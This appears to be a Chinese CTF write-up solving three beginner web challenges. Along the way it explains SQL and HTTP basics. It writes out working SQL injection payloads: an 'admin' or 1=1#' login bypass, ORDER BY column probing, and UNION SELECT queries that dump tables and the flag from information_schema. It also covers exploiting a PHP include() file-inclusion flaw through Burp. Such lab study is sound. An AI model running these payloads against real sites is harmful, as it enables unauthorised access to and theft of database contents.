web01
右键查看源代码,再使用在线解密,就可以得出答案了
web02 sql注入
admin' or 1=1或者1 or 1=1可以登录- 查询几个字段:
1' or 1=1 order by 3 #使用此语句,判断列数。
order by 3不会出错,但是order by 4就没有显示了,因此判断共有3列。
ORDER BY 子句中的数字(如 ORDER BY 4)通常表示按照查询结果中的第几个列进行排序,而不是列名。这意味着 ORDER BY 4 将根据查询结果中的第四列进行排序。

- 使用
-1' union select 1,2,3 #判断回显的位置
发现回显位置是2

1' union select 1,database(),3#查看数据库名称,发现是web21' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database(); #查看数据库中的表,返回有欢迎你,flag,user,说明一共有两个表,分别是flag和user1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='flag';#查看列名,发现只有flag1' union select 1,group_concat(flag),3 from web2.flag;#显示数据,得到答案了

补充知识:
group_concat(table_name)是一个聚合函数,它将返回符合 WHERE 条件的所有表的名称,并用逗号分隔。information_schema是一个标准的数据库系统中的元数据信息存储区域,它包含了关于数据库结构的信息,比如数据库、表、列、索引等的信息。- 万能密码:
admin' or 1=1#
web03 利用burp抓包修改为POST
点进题目后,显示<?php include($_GET['url']);?>,需要用到burp抓包。(burp配置笔记)
include()函数用于将指定文件的内容读取并执行。题目是在引导我们利用文件包含漏洞给url传递一个参数
- 抓包后,右击它,选择“Send to Repeater”。这样,这个请求就会出现在Repeater标签页中。
- 按照图片进行修改,完成后“go”。会在response中看见ctf_go_go_go这个文件

- 在url后面加上 /ctf_go_go_go,可以下载文件,打开后就是flag了
一些说明:
GET vs. POST 请求
在Web开发中,GET和POST是两种最常用的HTTP请求方法:
- GET请求通常用于请求数据从服务器检索数据。数据被添加到URL中,因此有长度限制,而且所有的参数都对用户可见。
- POST请求则用于向服务器提交数据,比如表单提交。数据在请求体中发送,不会出现在URL中,因此更适合提交敏感信息或大量数据。POST请求没有数据长度限制。
本文讲述了如何通过右键查看源代码、SQL注入技术分析数据库结构,以及使用BurpSuite抓包工具修改POST请求获取文件,涉及GETvsPOST请求的区别和文件包含漏洞的利用。
462

被折叠的 条评论
为什么被折叠?



